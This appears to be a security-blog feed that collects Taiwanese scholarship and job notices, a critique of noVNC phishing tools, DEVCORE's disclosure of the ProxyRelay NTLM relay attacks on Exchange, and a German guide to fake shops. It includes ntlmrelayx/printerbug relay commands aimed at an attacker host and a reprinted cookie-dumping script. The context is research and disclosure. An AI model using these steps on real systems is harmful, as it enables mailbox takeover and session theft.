我們從學生時代就熱衷於資安研究,也透過校園課程、社團 NISRA 獲得充實的資安知識,有感於此,我們創立戴夫寇爾後也為母校—天主教輔仁大學、國立臺灣科技大學的學生設立了獎學金計畫,為學生的資安學習之路奉獻一點力量。

此計畫在 2022年(111 學年度)已邁入第 4 年,我們也擴大補助的範疇,首度為全國大專院校學生推出「戴夫寇爾全國資訊安全獎學金」,只要在資訊安全領域有出眾研究成果的學生,皆可以申請「戴夫寇爾全國資訊安全獎學金」補助,幫助大家在求學期間更加專注學習、奠定資安專長,進而形成正向循環。

有意申請者需提出學習資安的動機與歷程,並繳交資安研究或比賽成果,獲選者將能得到最高 2 萬元的研究補助,共 10 名。詳細申請辦法請見以下:

  • 申請資格:全國各大專院校學生皆可以申請。
  • 獎學金金額/名額:每年度取 10 名,每名可獲得獎學金新台幣 20,000 元整,共計 20 萬元。如報名踴躍我們將視申請狀況增加名額。
  • 申請時程
    • 2022/8/31 官網公告獎學金計畫資訊
    • 2022/9/1 - 2022/9/30 開放收件
    • 2022/10/31 公布審查結果,並將於 10 至 11 月間頒發獎學金
  • 申請辦法
    • 請依⽂件檢核表項次順序排列已附⽂件,彙整為⼀份 PDF 檔案,寄⾄ [email protected]
    • 信件主旨及 PDF 檔案名稱請符合以下格式:[全國獎學⾦申請] 學校名稱_學號_姓名(範例:[全國獎學⾦申請] 輔仁⼤學_B11100000_王⼩美)。
    • 請申請⼈⾃我檢核並於申請⼈檢核區勾選已附⽂件,若⽂件不⿑或未確實勾選恕不受理申請。
  • 需檢附文件
    • 本獎學⾦申請表
    • 在學證明
    • 最近⼀學期成績單
    • 學習資訊安全之動機與歷程⼼得⼀篇:字數 500 - 2000 字
    • 資訊安全技術相關研究成果:至少須從以下六項目中擇一繳交,包含研討會投稿結果、漏洞獎勵計畫成果、弱點研究成果、資訊安全比賽成果、資安工具研究成果、技術文章發表成果等
    • 社群經營成果:至少須從以下兩項目中擇一繳交,包含校園資安社團、公開資安社群等
    • 推薦函:導師、系主任、其他教授或業界⼈⼠推薦函,⾄少須取得兩封以上推薦函

支持曾經的我們 - 戴夫寇爾續辦 2022 年資安教育活動贊助計劃

身為資安人,我們在學生時期所累積對資安熱情和好奇心,支撐著我們一路走來,不忘初衷地協防台灣安全,同時也期望可以用一點力量為社會帶來貢獻,期盼在未來可以幫助更多社團或社群的力量成為培養專業的養分。

因此,今年度我們也將持續贊助資安教育活動,提供經費予資安相關之社群、社團辦理各項活動,藉此降低資安知識落差,持續推廣資訊安全意識及技能,更進一步凝聚台灣資安社群的力量,幫助台灣培養下一個世代的資安人才。

  • 申請資格:與資安議題相關之社群、社團活動,請由 1 位社團代表人填寫資料。
  • 贊助金額:依各社團活動需求及與戴夫寇爾討論而定,每次最高補助金額為新台幣 20,000 元整。
  • 申請時程:如欲申請此計畫的社團或活動,請於 2022/10/31 前透過以下連結填寫初步資料,我們會在 30 日內通知符合申請資格者提供進一步資料,不符合資格者將不另行通知。
  • 申請連結DEVCORE 2022 年資安教育活動贊助調查
  • 需提供資料
    • 申請資格:申請人需以各資安社群或社團名義提出申請。
    • 聯絡電子郵件
    • 想要辦理的活動類型
    • 想要辦理的活動方式
    • 活動總預算
    • 預計需要贊助金額
    • 代表人姓名、連絡電話
    • 團體名稱
    • 團體單位網址
  • 注意事項
    • 申請案審核將經過戴夫寇爾內部審核機制,並保有最終核決權。
    • 本問卷僅供初步意願蒐集用途,符合申請資格者,戴夫寇爾將於 30 日內通知提供進一步資料供審核,其餘將不另行通知。
    • 戴夫寇爾保有修改、暫停或終止本贊助計畫之權利。

Thoughts on the use of noVNC for phishing campaigns

9 September 2022 at 00:00

Dear Fellowlship, today’s homily is a rebuke to all those sinners who have decided to abandon the correct path of reverse proxies to bypass 2FA. Penitenziagite!

Prayers at the foot of the Altar a.k.a. disclaimer

This post will be small and succinct. It should be clear that these are just opinions about this technique that has become trendy in the last weeks, so it will be a much less technical article than we are used to. Thanks for your understanding :)

Introduction

In recent weeks, we have seen several references to this technique in the context of phishing campaigns, and its possible use to obtain valid sessions by bypassing MFA/2FA. Until now, the preferred technique for intercepting and reusing sessions to evade MFA/2FA has been the use of reverse proxies such as Evilginx or Muraena. These new proof of concepts based on HTML5 VNC clients boil down to the same concept: establishing a Man-in-the-Middle scheme between the victim’s browser and the target website, but using a browser in kiosk mode to act as a proxy instead of a server that parses and forwards the requests.

Probably the article that started this new trend was Steal Credentials & Bypass 2FA Using noVNC by @mrd0x.

Reverse proxy > noVNC

We believe the usage of noVNC and similar technologies is really interesting as proof of concepts, but at the moment they do not reach the bare minimum requirements to be used in real Red Team engagements or even pentesting. Let’s take EvilnoVNC as an example.

While testing this tool the following problems arise:

  • Navigation is clunky as hell.
  • The URL does not change, always remains the same while browsing.
  • The back button breaks the navigation in the “real browser”, and not in the one inside the docker.
  • Right-click is disabled.
  • Links do not show the destination when onmouseover.
  • Wrong screen resolution.
  • Etc.

Even an untrained user would find out about these issues just with the look and feel.

Look And Feel
Look and feel.

On the other hand, the operator is heavily restricted in order to achieve a minimum of OPSEC. As an example, we can think about the most basic check we should bypass: User-Agent. Mimicking the User-Agent used by the victim is trivial when dealing with proxies, as we only need to forward it in the request from our server to the real website, but in the case of a browser using kiosk mode it is a bit more difficult to achieve. And the same goes for other modifications that we should make to the original request like, for example, blocking the navigation to a /logout endpoint that would nuke the session.

Another fun fact about this tool is… it does not work. If you test the tool you will find the following:

psyconauta@insulanova:/tmp/EvilnoVNC/Downloads|main⚡ ⇒  cat Cookies.txt

        Host: .google.com
        Cookie name: AEC
        Cookie value (decrypted): Encrypted
        Creation datetime (UTC): 2022-09-10 19:44:54.548204
        Last access datetime (UTC): 2022-09-10 21:31:39.833445
        Expires datetime (UTC): 2023-03-09 19:44:54.548204
        ===============================================================

        Host: .google.com
        Cookie name: CONSENT
        Cookie value (decrypted): Encrypted
        Creation datetime (UTC): 2022-09-10 19:44:54.548350
        Last access datetime (UTC): 2022-09-10 21:31:39.833445
        Expires datetime (UTC): 2024-09-09 19:44:54.548350
        ===============================================================
(...)

Which is really odd. If you check the code from the GitHub repo

import os
import json
import base64
import sqlite3
from datetime import datetime, timedelta

def get_chrome_datetime(chromedate):
    """Return a `datetime.datetime` object from a chrome format datetime
    Since `chromedate` is formatted as the number of microseconds since January, 1601"""
    if chromedate != 86400000000 and chromedate:
        try:
            return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
        except Exception as e:
            print(f"Error: {e}, chromedate: {chromedate}")
            return chromedate
    else:
        return ""

def main():
    # local sqlite Chrome cookie database path
    filename = "Downloads/Default/Cookies"
    # connect to the database
    db = sqlite3.connect(filename)
    # ignore decoding errors
    db.text_factory = lambda b: b.decode(errors="ignore")
    cursor = db.cursor()
    # get the cookies from `cookies` table
    cursor.execute("""
    SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value 
    FROM cookies""")
    # you can also search by domain, e.g thepythoncode.com
    # cursor.execute("""
    # SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value
    # FROM cookies
    # WHERE host_key like '%thepythoncode.com%'""")
    # get the AES key
    for host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value in cursor.fetchall():
        if not value:
            decrypted_value = "Encrypted"
        else:
            # already decrypted
            decrypted_value = value
        print(f"""
        Host: {host_key}
        Cookie name: {name}
        Cookie value (decrypted): {decrypted_value}
        Creation datetime (UTC): {get_chrome_datetime(creation_utc)}
        Last access datetime (UTC): {get_chrome_datetime(last_access_utc)}
        Expires datetime (UTC): {get_chrome_datetime(expires_utc)}
        ===============================================================""")
        # update the cookies table with the decrypted value
        # and make session cookie persistent
        cursor.execute("""
        UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999, is_persistent = 1, is_secure = 0
        WHERE host_key = ?
        AND name = ?""", (decrypted_value, host_key, name))
    # commit changes
    db.commit()
    # close connection
    db.close()


if __name__ == "__main__":
    main()

As you can see, the script is just a rip off from this post, but the author of EvilnoVNC deleted the part where the cookies are decrypted :facepalm:.

The cookies that you never will see
The cookies that you never will see.

You can not grab the cookies because you are setting its value to the literal string Encrypted instead of the real decrypted value :yet-another-facepalm:. We did not check if this dockerized version saves the master password in the keyring or if it just uses the hardcoded ‘peanuts’. In the former case, copying the files to your profile shouldn’t work.

About detection

The capability to detect this technique heavily relies on what can you inspect. The current published tooling uses a barely modified version of noVNC, meaning that if you are already inspecting web JavaScript to catch malicious stuff like HTML smuggling, you could add signatures to detect the use of RFB. Of course it is trivial to bypass this by simply obfuscating the JavaScript, but you are sure to catch a myriad of ball-busting script kiddies.

psyconauta@insulanova:/tmp/EvilnoVNC/Downloads|main   curl http://localhost:5980/ 2>&1 | grep RFB
        // RFB holds the API to connect and communicate with a VNC server
        import RFB from './core/rfb.js';
        // Creating a new RFB object will start a new connection
        rfb = new RFB(document.getElementById('screen'), url,
        // Add listeners to important events from the RFB module

Moreover, all control is done through the RFB over WebSockets protocol, so it is quite easy to spot this type of traffic as it is unencrypted at the application level.

RFB traffic in clear being send through WebSockets (ws:yourdomain/websockify)
RFB traffic being sent through WebSockets (ws:yourdomain/websockify).

Additionally, because this protocol is easy to implement, you can create a small script to send keystrokes and/or mouse movements directly to escape from Chromium to the desktop.

Jailbreak
Jailbreaking chromium.

This tool executes noVNC on a docker so there is not much to do after escaping from Chromium, but think about other script kiddies who execute it directly on a server :). Automating the scanner & pwnage of this kind of phishing sites is easy if you have the time.

From the point of view of the endpoint to log into, it is easier to detect the use of a User-Agent other than the usual one. If your user base accesses your VPN web portal from Windows, someone connecting from Linux should trigger an alert.

And finally, the classic “training-education-whatever” of users would help a lot as the current state of the art is trivial to spot.

EoF

Tooling around this concept of MFA/2FA bypassing is still too rudimentary to be used in real engagements, although they are really cool proof of concepts. We believe it will evolve within the next years (or months) and people will start to work on better approaches. For now, reverse proxies are still more powerful as they can be easily configured to blend in with legitimate traffic, and the user does not experience look and feel annoyances.

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

DEVCORE 徵求資安研究員

20 September 2022 at 16:00

你對資安研究有滿腔熱血但卻找不到人討論嗎? 常常參加各大 CTF 比賽,卻不知如何將學會的技能發揮在真實世界中嗎? 你也想要為保護世界盡一份心力嗎?

DEVCORE Research Team 成立數年來持續研究最前瞻的資安技術,回報過多個世界級的漏洞,在 Black Hat、DEFCON 等國際資安研討會都能看見我們的戰績,Pwnie Awards、Best Web Hacking Techniques 各種獎項我們也毫不留情地橫掃,在 Pwn2Own 駭客大賽中更是列居首位!然而,資安領域之廣、更迭速度之快,單憑寥寥數人也是力有未逮,

一個人走,可以走得很快;但一群人走,可以走得更遠。

故此,We Need YOU!

現在,DEVCORE Research Team 公開徵求資安研究員囉!不論你是專精於網頁安全,或是對逆向工程情有獨鍾,甚至你喜歡動手拆解硬體,我們不需要你的肝,只需要你對於資安研究的熱忱!我們看重的不是工作經驗,而是對資安傾注過多少心力!

在這裡工作,你將可以得到

  • 與頂尖駭客一起交流、合作的寶貴經驗
  • 實際體驗並挖掘 Real World 漏洞,找到屬於自己的第一個 CVE!
  • 深入業界實戰攻防,真實感受漏洞研究與企業資安的結合

想把駭客作為你的終身職嗎?歡迎各領域的駭客們一起加入!

工作內容

  • 個人研究 70%
    • 對影響世界的產品進行漏洞研究
    • 將找到的漏洞回報廠商並進行漏洞發表
  • 檢測或協助專案 30%
    • 規劃、執行產品安全測試
    • 根據檢測需求,研究相關弱點或開發相關工具
    • 協助紅隊執行專案,提供技術火力支援

工作條件要求

  • 具備漏洞挖掘能力
  • 具備漏洞利用程式撰寫能力
  • 具備基本程式語言開發能力
  • 具備研究熱誠,習慣了解技術本質
  • 具備特定領域資安相關知識,包含但不限於
    • 主流作業系統運作機制、相關漏洞及其利用技術
    • 主流瀏覽器架構、相關漏洞及其利用技術
    • 硬體介面相關攻擊手法、具實作經驗
    • 手機底層韌體架構及防禦機制
    • 網頁應用程式攻擊手法
    • 網路相關攻擊手法

加分條件

  • CTF 比賽經驗
  • pwnable.tw 成績
  • Flare-On 成績
  • 公開的技術 blog/slide/write-ups 或 side projects
  • Bug Bounty / 漏洞回報經驗
  • 資安研討會演講經驗
  • 資安相關教學經驗
  • 喜歡自己動手撰寫工具
  • 主動追蹤並學習最新資安相關技術

起薪範圍

新台幣 80,000 - 100,000 (保證年薪 14 個月)

詳細的工作環境與應徵方式請參考招募頁面

Introducing CVE Markdown Charts - Part 1

19 March 2022 at 21:56
TL;DR - CVE Markdown Charts - Your InfoSec reports will now write themselves… After writing several InfoSec reports and researching CVEs, I discovered a means to create dynamic charts that help readers and myself understand various CVE relationships and their implications. Say hello to CVE Markdown Charts, or at least its first iteration (v0.1.0). CVE, as in Common Vulnerabilities and Expo...

Mining Google Chrome CVE data

17 May 2022 at 20:38
TL;DR - The Google Chrome Releases blog provides CVE data one liners containing all the information needed to create a rich CVE data source. Google Chrome CVEs are plentiful and provide information for understanding Google Chrome security trends. Using the information available, I was able to create an enriched CVE data source to enhance the CVE Markdown Charts Github project. CVE Data Sou...

A Survey of Windows RPC Discovery Tools

2 June 2022 at 05:11
TL;DR A survey of Windows Remote Procedure Call discovery tools and an attempt to understand how open source tools discover RPC servers, interfaces, and procedures. Windows RPC has been a black box for me for some time. This post is an attempt to leverage analysis of open source RPC tools to pry open that box. I started by reading MSDN, getting bored and then bouncing between several detailed ...

From NtObjectManager to PetitPotam

24 June 2022 at 03:46
TL;DR - Windows RPC enumeration, discovery, and auditing via NtObjectManager. We will audit the vulnerable RPC interfaces that lead to PetitPotam, discover how they have changed over the past year, and overcome some common RPC auditing pitfalls. I was inspired by From RpcView to PetitPotam from @itm4n, an excellent post that taught me how to use RpcView to discover the RPC interfaces and in pa...

Introducing CVE North Stars

30 August 2022 at 10:48
TL;DR - CVE North Stars is a tutorial that introduces a method to kickstart vulnerability research by treating CVEs as North Stars in vulnerability discovery and comprehension. Background This post introduces CVE North Stars, a tutorial I started writing back in 2020 (v1.0.0) when attempting to learn methods of vulnerability research. At the time, I observed several examples of others usi...

A New Attack Surface on MS Exchange Part 4 - ProxyRelay!

18 October 2022 at 16:00

Hi, this is a long-time-pending article. We could have published this article earlier (the original bug was reported to MSRC in June 2021 with a 90-days Public Disclosure Policy). However, during communications with MSRC, they explained that since this is an architectural design issue, lots of code changes and testings are expected and required, so they hope to resolve this problem with a one-time CU (Cumulative Update) instead of the regular Patch Tuesday. We understand their situation and agree to extend the deadline.

Microsoft eventually released Exchange Server 2019 CU 12 and Exchange Server 2016 CU 23 on April 20, 2022. However, this patch did not enable by default. Microsoft didn’t release the patch-activating methods until August 09, 2022. So, we originally had the opportunity to demonstrate our attack at Pwn2Own Vancouver 2021. However, we dropped the idea quickly because our intention is not to earn bounties. We are here to secure the world! You can check the Timeline to know the detailed disclosure process.


Idea

Since Microsoft blocked our Proxy-Related attacks in April 2021, I have been thinking about whether there is a way to bypass the mitigation. During that April patch, Microsoft enhanced the authentication part of CAS Frontend by requiring all HTTP requests that need a Kerberos Ticket to be authenticated first. This enhancement effectively mitigated the attack surface we proposed and stopped unauthenticated HTTP requests accessing the CAS Backend. So Exchange is safe now?

Of course not, and this article is to prove this! Since Microsoft only fixes the problematic code, we proposed several attacks and possible weaknesses in our POC 2021 and HITCON 2021 talks.


Maybe you have heard that our first prediction has already been made in recent ProxyNotShell. The attack reuses the path confusion of ProxyShell but attaches a pre-known authentication instead. It’s solid but it looks it still needs a valid authentication (not sure, still haven’t time to dig into). However, we hinted there is another way not to fight with the auth-enhancement face-to-face during my talks. Now we can finally disclose it :)


Just in case you don’t know, I am a big fan of Printer Bug (kudos to Lee Christensen, Will Schroeder, and Matt Nelson for their amazing talk at DerbyCon 2018). PrinterBug allows an attacker to coerce any domain-joined machine to initiate an SMB connection with its own Machine Account to the attacker via MS-RPRN protocol. Because this behavior works as designed, this hacker-friendly feature has been extensively used for NTLM relaying for years.

In the architecture of Exchange CAS, Backend authorizes an HTTP request to have the ability to impersonate any user by checking whether the login identity has the Extended Right of ms-Exch-EPI-Token-Serialization or not. Also, during the Exchange Server installation, the mailbox server will be added to the Exchange Servers group automatically, and all objects in this Active Directory group have that Token-Serialization right by default.

With the prior knowledge in mind, I come up with a simple idea. It’s common to see multiple Exchange Servers in corporate networks for high availability and site resilience. Can we relay the NTLM authentication among Exchange Servers?

There are several pros to this relay idea. Since it’s a cross-machine relay, it won’t be limited by the same-host restriction. Also, because the NTLM authentication is initiated by the Machine Account of Exchange Server, the relayed authentication owns the Token-Serialization right that allows us to impersonate any user in Exchange services. I believe this is a fantastic idea and would like to explore if it is exploitable!


P.S. This attack surface was also found and reported to MSRC independently by Dlive from Tencent Xuanwu Lab, so you can see we share most of the CVE acknowledgments.


Vulnerabilities

Let’s talk about the vulnerabilities. Since it’s an entire attack surface instead of a single bug, this idea could be applied to different contexts, causing different vulnerabilities. The impact of these vulnerabilities is that an attacker can bypass Exchange authentications or even get code execution without user-interaction. Here are the related CVEs so far:

The following attacks have the similar template, the host EX01 stands for the first Exchange Server, EX02 for the second Exchange Server, and ATTACKER for the attacker-controlled server.

In all attacks, the attacker coerces the first Exchange Server to initiate an NTLM authentication to him, and relay it to the second Exchange Server. We use printerbug.py to coerce a server to initiate an SMB connection and use ntlmrelayx.py to catch the NTLM and relay the authentication to another Exchange Server.


Round 1 - Relay to Exchange FrontEnd

For the first context, we try to relay the authentication to another Frontend of Exchange Server. Since the identity of the relayed authentication is Exchange’s Machine Account which owns the Token-Serialization right, we can impersonate any user! Here we relay the NTLM authentication from EX01 to EX02’s Frontend EWS service as the showcase. We implement the relay-to-frontend-EWS attack by customizing the httpattack.py! Here is a simple overview:

  1. Run the ntlmrelayx.py on the ATTACKER server to wait for NTLM authentications.
  2. Use the printerbug.py to coerce EX01 to initiate an SMB connection to ATTACKER.
  3. Receive the SMB connection on the ATTACKER and relay the NTLM blobs to EX02.
  4. Complete the NTLM handshakes to get full access to the EWS endpoint.
# Terminal 1
$ python ntlmrelayx.py -smb2support -t https://EX02/EWS/Exchange.asmx

# Terminal 2
$ python printerbug.py EX01 ATTACKER

Theoretically, we can take over the target mailbox by EWS operations. Here we give a demo to dump the secret under administrator’s mailbox.

Patching FrontEnd

Microsoft assigned CVE-2021-33768 and released a patch to fix that Frontend is relay-able in July 2021. Since logging in as Machine Account in Frontend isn’t a regular operation, it’s easy to mitigate the attack by adding a check IsSystemOrMachineAccount() on the Frontend Proxy-Handler to ensure all Frontend logons are not Machine Account.


Round 2 - Relay to Exchange BackEnd

Relaying to Frontend can be easily mitigated by a simple check. How about relaying to Backend? Since Backend verifies the Frontend requests by checking whether it’s a Machine Account or not, mitigating Backend would be more challenging because it’s a regular operation and Backend needs the Machine Account that hash the extended right of ms-Exch-EPI-Token-Serialization to impersonate to the desired user. Here we provide 3 showcases against attacking Backend.

2-1 Attacking BackEnd /EWS

Based on the relay-to-frontend EWS attack we introduced, the earlier attack can be re-applied to Backend seamlessly. The only change is to modify the target port from 443 to 444.

2-2 Attacking BackEnd /RPC

The other showcase is attacking Outlook Anywhere. Exchange defines several internal RPC services that can directly operate the mailbox. Those RPC services have a public interface and can be access through /Rpc/*, and users can access their own mailbox via RPC-over-HTTP protocol, which is described in Microsoft’s MS-RPCH specification. For those who want to understand the underlying mechanism, it’s recommended to read the awesome research Attacking MS Exchange Web Interfaces by Arseniy Sharoglazov for details.

Back to our attack, the core logic is as same as attacking EWS. Because the /Rpc/* is also located at HTTP/HTTPS, it’s also relay-able. Once we bypass the authentication and access the route /Rpc/RpcProxy.dll, we can impersonate as any user and operate his mailbox through the RPC-over-HTTP protocol. To implement the attack, we have ported lots of the Ruler Project to Impacket. As the result of this showcase, we can bypass the authentication by PrinterBug and operates any user’s mailbox through Outlook Anywhere. The entire attack can be illustrated as the following steps:

  1. Establish RCP_IN_DATA and RCP_OUT_DATA channels to EX02 for RPC I/O.
  2. Trigger PrinterBug on EX01 and relay to EX02 to complete NTLM handshakes.
  3. Attach X-CommonAccessToken headers to indicate we are Exchange Admin on both HTTP headers.
  4. Interact with the Outlook Anywhere by lots of the coding works upon MS-OXCRPC and MS-OXCROPS over MS-RPCH…

2-3 Attacking BackEnd /PowerShell

The last showcase we would like to highlight is relaying to Exchange PowerShell. Since we have bypassed the authentication on Backend IIS, it’s possible to perform a ProxyShell-Like exploit again! Once we can execute arbitrary Exchange Cmdlets, it shouldn’t be hard to find a Post-Auth RCE to chain together because we are Exchange Admin. There are hundreds of Cmdlets for the purpose of Exchange Management, and many past cases (CVE-2020-16875, CVE-2020-17083, CVE-2020-17132, CVE-2021-31207 and more) have proven that this is not a difficult task, too.

Since we decided not to participate in Pwn2Own, we did not implement this exploit chain. Here we leave this as an exercise for our readers. ;)

2-4 Patching BackEnd

Microsoft assigned CVE-2022-21979 and patch that in August 2022. This patch permanently eliminates all relay attacks on Backend by forcibly turning on the Extended Protection Authentication in IIS.


Round 3 - Relay to Windows DCOM

This part should be all credited to Dlive. The industry knows MS-DCOM is relay-able since Sylvain Heiniger’s awesome Relaying NTLM authentication over RPC research for long. However, Dlive creates an RCE-chain based on the group inheritance of Exchange Servers in Active Directory environments. Please shout out to him!

The idea of this attack is that the Local Administrators group of Exchange Server includes the group member Exchange Trusted Subsystem, and all Exchange Server are in this group by default. That means the Machine Account EX01$ is also the local administrator of EX02. With this concept in mind, the impact of relay-to-MS-DCOM can be maximized and perfectly applied to Exchange Server now!

Dlive has demonstrated this attack in his DEFCON 29 talk. Although he didn’t publish the exploit code, the Wireshark screenshot in his slidesp45 has already hinted everything and is enough to reproduce. The process could be illustrated as the following:

  1. Coerce EX01 to initiate a connection, and relay the NTLM to the Endpoint Mapper (port 135) of EX02 to get the Interface of MMC20.Application.
  2. Coerce EX01 again, and relay the NTLM to the dynamic port allocated by the EPMapper, and call ExecuteShellCommand(...) under iMMC->Document->ActiveView.
  3. Run arbitrary commands for fun and profit!

Writing the whole exploit is fun, just like mixing the dcomexec.py and ntlmrelayx.py together. It’s recommended to write your own exploit code by hand for those who want to understand the DCOM mechanism more!

Patching DCOM

Microsoft assigned CVE-2021-26414 and patch this DCOM-relay in June 2021. However, due to compatibility, the hardening on the server-side is disabled by default. Server Admin has to manually activate the patch by creating the following registry key. If Server Admin didn’t read the documentation carefully, his Exchange Server is probably still vulnerable after the June patch.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel


As for when will the protection be enforced on server side? According to the FAQ under the CVE page, Microsoft has addressed a three-phase rollout to fully mitigate this issue. Now, it’s on phase one, and the patch won’t be activated by default until June 14, 2022. So, at the time of this writing, this RCE is still exploitable on the latest version of Exchange Server!


P.S. Microsoft hash announce the second phase and enabled the hardening on the server-side by default on June 14, 2022. Exchange Server that installed the latest Windows patch should be safe now

Round 4 - Relay to Other Exchange Services…

Services that use NTLM as their authentication method on Exchange Server might be vulnerable, too. At the time of this writing, we have already found and reported one to MSRC. We believe there should be more, and this is a good target for those who want to discover vulnerabilities on Exchange Server!


Closing

Here, this series has finally come to an end. Over the past two years, many ups and downs made this journey unusual. From the earliest bug collision with the bad actor, ITW panic, to the Pwn2Own hacking competition, and our talks got acceptance at top-level hacker conferences, we have a clear conscience that we didn’t do anything wrong. However, without understanding the context, there were lots of incorrect speculations and inaccurate media reports toward our company and me; there were even low blows to us… that sucks.

Although there were also happy moments, such as winning our first Master-of-Pwn champion at the top-hacking competition Pwn2Own and got the Best Server-Side bug of Pwnie Awards, the gossip and troll really harassed and depressed me a lot…

Congratulate that I can finally close this research and start my new hacking. I am nothing but a security nerd who would rather spend more time on hacks, and please don’t blame me if my sentences are sometimes short and unclear; it’s not easy to express things in an unfamiliar language. It took me about 4x~5x times to arrange a presentation or article in a non-native language; lots of words were lost during refining.

Hope that one day, there will be no language barrier. In a bar, with beers, we can talk about hacks, the culture, and hacking all night!


Timeline

  • Jun 02, 2021 - We reported the vulnerability to Microsoft through the MSRC portal.
  • Jun 03, 2021 - MSRC opened the case. (No. 65594)
  • Jun 03, 2021 - We attached a 90-days Vulnerability Disclosure Policy to MSRC. The deadline is Sep 01, 2021.
  • Jun 11, 2021 - MSRC replied that they are aiming to complete it before September.
  • Jul 22, 2021 - MSRC said the case doesn’t look like it will be fully resolved by September.
  • Jul 25, 2021 - We said we could extend the deadline and let us know the new estimated date.
  • Aug 25, 2021 - We asked for the estimated date again.
  • Sep 01, 2021 - MSRC said this case has been expanding into a design change and the intended release date is December 2021.
  • Sep 08, 2021 - We asked is it possible to shorten the time frame because we would like to disclose this at conferences.
  • Sep 17, 2021 - MSRC replied there are not quick and simple fixes but design level changes, they can’t get the changes in October.
  • Oct 25, 2021 - We decided not to disclose this at conferences and gave the team a fair time for fixing and testing. We hoped this bug could be fixed as scheduled in December 2021.
  • Dec 21, 2021 - We asked for updates on this case.
  • Dec 22, 2021 - MSRC replied they aimed to include this patch in a CU (Cumulative Update) instead of an SU (Security Update) due to the level of changes. The next CU release date will be in March 2022.
  • Apr 04, 2022 - We asked that we don’t see the CU in March. When is the new release date?
  • Apr 13, 2022 - MSRC replied the CU is delayed, and the current release date is on April 20, 2022.
  • Apr 20, 2022 - Microsoft released Exchange Server 2019 CU 12 and Exchange Server 2016 CU 23.
  • Apr 21, 2022 - We found our exploit still works fine on the latest version of Exchange Server and asked is this bug really fixed?
  • Apr 27, 2022 - MSRC replied the CU contain the code change, but it needs to be activated manually or with a script. There are still some testing concerns but the manual activation process will be public on May 10, 2022.
  • May 11, 2022 - MSRC said the documentation and the script are mapped for the Patching Tuesday of June 2022 (Jun 14, 2022).
  • Jun 10, 2022 - MSRC said there are still having some issues on testing and they are looking to release this in July 2022.
  • Jul 04, 2022 - We asked if it will release in this month’s Patching Tuesday.
  • Aug 10, 2022 - Don’t see anything, asked again.
  • Aug 18, 2022 - Microsoft released the CVE and the patch activation documentation!

Ghidra Python Paleontology

30 September 2022 at 02:51
TL;DR - This post will walk through the process of creating a Headless Ghidra Python VScode template. This is not recommended as the official language for Ghidra is Java and the supported IDE is Eclipse, but we will give it a go. The process involved “digging up” the Ghidra Python Scripting landscape and understanding what was possible. The lessons learned are capture in the VScode template ghi...

HanseSecure in the ARD Munich Report

By: Hansemann
14 August 2022 at 10:26
Common applicant portals provide a breeding ground for false job ads and the identity theft that accompanies them. "Send us your resume and we need your data", thus -MUCH THANKS for YOUR IDENTITY-. Nothing is recognizable for applicants! This scam runs fast and uncomplicated. The danger- suddenly ignorance leads to punishment. Criminal proceedings for the bona fide applicant will follow.

Kauf mich reich: Fakeshop erkennen

22 November 2022 at 23:15

Weihnachten, BlackFriday, Sommersale,…

Jedes Jahr gibt es Zeiträume in denen spezielle Angebote online gestellt werden. Dies bietet allen die Möglichkeit tolle Schnäppchen zu machen. Gleichzeitig ist diese Zeit auch eine Oase für Betrüger, um mit sogenannten Fakeshops ordentlich Geld zu verdienen. Auf diesen Shops werden ebenfalls “tolle” Angebote gemacht, welche in der Regel nochmal günstiger sind als bei der “Konkurrenz”. Hierdurch werden die “Kunden” dazu verleitet auf diesen Websites zu shoppen. Die Kunden warten vergeblich auf ihre Waren…

Ein neues Fahrrad

Als Beispiel für derartige Fakeshops möchten wir ein Fahrrad erwerben. Konkret hätten wir gerne ein Fahrrad der Premiummarke Radon. Wer nach diesem Fahrrad-Typ bei Google sucht, stößt relativ schnell auf 3 Webshops, welche wir uns nachfolgend etwas genauer ansehen wollen.

bike-discount.de

Als Erstes betrachten wir den bike-discount.de Store, da diese Domain am “auffälligsten” klingt (subjektive Bewertung :). Hierbei werden alle einfachen Checks, wie sie auch bei der Analyse von z.B. Phishing-Seiten abgearbeitet.

1. Google Recherche “Fake/Verbraucherschutz”

Der erste Check ist einfach, aber effizient. Man prüft, ob der Shop bzw. die Domain (was oben in der URL steht) bereits im Zusammenhang mit den Begriffen ‘Fake’ bzw. ‘Verbraucherschutz’ im Internet auftaucht. Hier geben die entsprechenden Links Aufschluss darüber, ob bereits bekannt ist, dass es sich bei der Website um einen Fake handelt.

Ergebnis

Die Website bike-discount.de hat einige Einträge im Zusammenhang mit den Begriffen ‘Fake’ und ‘Verbraucherschutz’. Jedoch ist zu sehen, dass nicht bike-discount.de ein Fakeshop sind, sondern dieser Shop kopiert von Fälschern und selbst das Original ist.

2. Fußzeile

Hier gibt es unterschiedliche Aspekte, welche man prüfen sollte:

  • Impressum & Datenschutzerklärung
    Jeder seriöse Webauftritt muss eine Datenschutzerklärung und ein Impressum haben. Hierzu sind Unternehmen per Gesetz verpflichtet. Somit sind Webauftritte von deutschen Unternehmen ohne diese Angaben unprofessionell, wenn nicht sogar unseriös bzw. wahrscheinlich fake. Diese müssen nicht zwangsläufig in der Fußzeile stehen, aber auf jeder Website zu finden sein.
  • Kontaktdaten
    Sofern Kontaktdaten angegeben sind, sollte diese schlüssig sein. Beispielsweise sollte die angegebene Telefonnummer zum Firmenstandort passen (ja es gibt auch Callcenter, aber wir beschreiben hier lediglich den Regelfall 🙂
  • Copyright
    Die Daten vom Copyright sollten aktuell bzw. nicht stark veraltet sein. Kein professionelles Unternehmen betreibt 2022 eine Website, deren Copyright von 2015 ist.
  • Social Media Accounts & Trustlogos
    Bei “schlechten” Fake Shops sind hier häufig nur Bilder hinterlegt bzw. zeigen die Links auf andere Ziele. Somit kann an dieser Stelle geprüft werden, ob es sich um valide Links zu validen Accounts der jeweiligen Logos handelt.

Der Social Media Account wirkt seriös, da dieser seit 2010 existiert, eine gewisse Anzahl an Follower hat und über einen langen Zeitraum Themenbezogene Posts vorweisen kann.

Ergebnis

